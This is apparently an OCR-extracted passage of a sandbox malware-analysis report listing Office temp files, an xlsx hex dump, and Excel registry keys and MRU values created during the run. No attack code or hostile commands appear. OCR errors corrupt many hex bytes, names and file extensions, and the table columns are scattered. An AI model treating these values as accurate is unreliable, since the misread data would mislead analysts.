Files\Content. MSO\39690E29.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\27FBOE16.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\6F827B1F.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\6F6F568D.png
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Length Value

1632

Source
Count Address

Ascii

Completion Symbol

success or wait 1 7FEEAC59ACO unknown
00 06 00 08 00 00 00
2100 39 c3 fa f5 bb
01 00 00 15 07 00 00
13 00 00 00 00 00 00 IsPK :
00 00 00 00 00 00 00 ....c.cevveunenee xl/_rels/wor
00 00 00 00 5b 43 6f kbook.xml.relsPK..
6e 74 65 6e 74 5f54 G....... | TR
79 70 65 73 5d 2e 78 xl/workbook.xml

6d 6¢ 50 4b 01 02 2d

00 14 00 06 00 08 00

00 00 21 00 b5 55 30

23 f5 00 00 00 4c 02

00 00 Ob 00 00 00 00

00 00 00 00 00 00 00

00 00 f4 03 00 00 5f

72 65 6¢ 73 2f 2e 72

65 6¢ 73 50 4b 01 02

2d 00 14 00 06 00 08

00 00 00 21 00 39 ed

al bb 32 01 00 00 d3

04 00 00 1a 00 00 00

00 00 00 00 00 00 00

00 00 00 1a 07 00 00

78 6¢ 2f 5f 72 65 6C

73 2f 77 6f 72 6b 62

6f 6f 6b 2e 78 6d 6¢

2e 72 65 6¢ 73 50 4b

01 02 2d 00 14 00 06

00 08 00 00 00 21 00

47 d0 f1 b0 cb 01 00

00 68 03 00 00 Of 00

00 00 00 00 00 00 00

00 00 00 00 00 8¢ 09

00 00 78 6¢ 2f 77 6f

72 6b 62 6f 6f 6b 2e

78 6d 6C

Source

Offset Length Completion Count Address Symbol

0 1108 success or wait 2 7FEEAC59ACO unknown

0 1792 success or wait 2 7FEEAC59ACO unknown

0 1713 success or wait 1 7FEEAC59ACO unknown

0 5744 success or wait 1 7FEEAC59ACO unknown

0 6177 success or wait 2 7FEEAC59ACO unknown

0 9924 success or wait 2 7FEEAC59ACO unknown

0 23989 success or wait 1 7FEEAC59ACO unknown

unknown 8 success or wait 7FEEAC59ACO unknown

0 8 pending 7FEEAC59ACO unknown

569 443 pending 7FEEAC59ACO unknown

1573 245 pending 7FEEAC59ACO unknown

2444 45 pending 7FEEAC59ACO unknown

P R R R R R

0 23989 success or wait 7FEEAC59ACO unknown

0 6177 success or wait 1 7FEEAC59ACO unknown

0 9924 success or wait 1 7FEEAC59ACO unknown

0 5744 success or wait 1 7FEEAC59ACO unknown

0 1792 success or wait 1 7FEEAC59ACO unknown

0 1713 success or wait 1 7FEEAC59ACO unknown

0 1108 success or wait 1 7FEEAC59ACO unknown

0 23989 success or wait 1 7FEEAC59ACO unknown
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File Path

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\78E8932A.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content.MSO\2D8C3523.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\5DB5A4C8.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\39690E29.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\27FBOE16.png

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet
Files\Content. MSO\6F827B1F.emf

Registry Activities

Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

Offset Length
0 6177
0 9924
0 5744
0 1792
0 1713
0 1108

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ED70E

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ED7D8

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ED874

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ED93F

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\ED9DB

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\Startupltems

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F3CF1

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\F3EF4

Key Value Created

Key Path Name
HKEY_CURRENT_USER\Software\Mic Max Display
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 2
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 3
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 4
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 5
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 6
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 7
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 8
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 9
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 10

rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Type

dword

dword

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data
25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3771420242.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5795694722.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\6516896632.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Completion

success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

1

Count

P PR R R R R R R R OO R

Count

Source

Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Source
Address

7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO
7FEEAC59ACO

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

Symbol

unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown
unknown

unknown

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Iltem 11

Item 12

Item 13

Item 14

Item 15

Iltem 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic ED70E binary 04 00 00 00 BC 09 00 00 39 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\ED70E 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 33 00 2E 00 35 00 2E 00 35 00
32 00 2E 00 73 00 68 00 65 00 65 00 74
00 2E 00 63 00 73 00 76 00 00 00 00 00
2200 00 00 43 00 3A 00 5C 00 55 00 73
00 65 00 72 00 73 00 5C 00 41 00 6C 00
62 00 7500 73 00 5C 00 41 00 70 00 70
00 44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00 65
00 6D 00 70 00 5C 00 01 00 00 00 01 00
00 00 5B C1 F0 80 26 2B D7 01 OE D7
OE 00 OE D7 OE 00 00 00 00 00 B8 02 00
00 OA 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\ED7D8

Copyright Joe Security LLC 2021

Name

ED7D8

Type

binary

Data

04 00 00 00 BC 09 00 00 3A 00 00 00 43 success or wait

00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 34 00 2E 00 31 00 33 00 2E 00
33 00 39 00 2E 00 73 00 68 00 65 00 65
00 74 00 2E 00 63 00 73 00 76 00 00 00
00 00 22 00 00 00 43 00 3A 00 5C 00 55
00 73 00 65 00 72 00 73 00 5C 00 41 00
6C 00 62 00 75 00 73 00 5C 00 41 00 70
00 70 00 44 00 61 00 74 00 61 00 5C 00
4C 00 6F 00 63 00 61 00 6C 00 5C 00 54
00 65 00 6D 00 70 00 5C 00 01 00 00 00
01 00 00 00 5B C1 FO0 80 26 2B D7 01
D8 D7 OE 00 D8 D7 OE 00 00 00 00 00
B8 02 00 00 OA 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00

Completion

Source

Count Address Symbol

1

7FEEAC59ACO unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic ED874 binary 04 00 00 00 BC 09 00 00 39 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\ED874 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 35 00 2E 00 37 00 2E 00 34 00
33 00 2E 00 73 00 68 00 65 00 65 00 74
00 2E 00 63 00 73 00 76 00 00 00 00 00
220000 00 43 00 3A 00 5C 00 55 00 73
00 65 00 72 00 73 00 5C 00 41 00 6C 00
62 00 7500 73 00 5C 00 41 00 70 00 70
00 44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00 65
00 6D 00 70 00 5C 00 01 00 00 00 01 00
00 00 3E B3 OF 81 26 2B D7 01 74 D8
OE 00 74 D8 OE 00 00 00 00 00 B8 02 00
00 OA 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\3771420242.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5795694722.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\6516896632.xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9713424497 .xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\ED93F

Copyright Joe Security LLC 2021

Name

ED93F

Type

binary

Data

04 00 00 00 BC 09 00 00 30 00 00 00 43 success or wait

00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 78 00 6C 00 73 00 6D 00 2E 00 73
00 68 00 65 00 65 00 74 00 2E 00 63 00
73 00 76 00 00 00 00 00 22 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 01 00 00 00 01 00 00 00 85 11 44
81 26 2B D7 01 3F D9 OE 00 3F D9 OE
00 00 00 00 00 B8 02 00 00 66 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
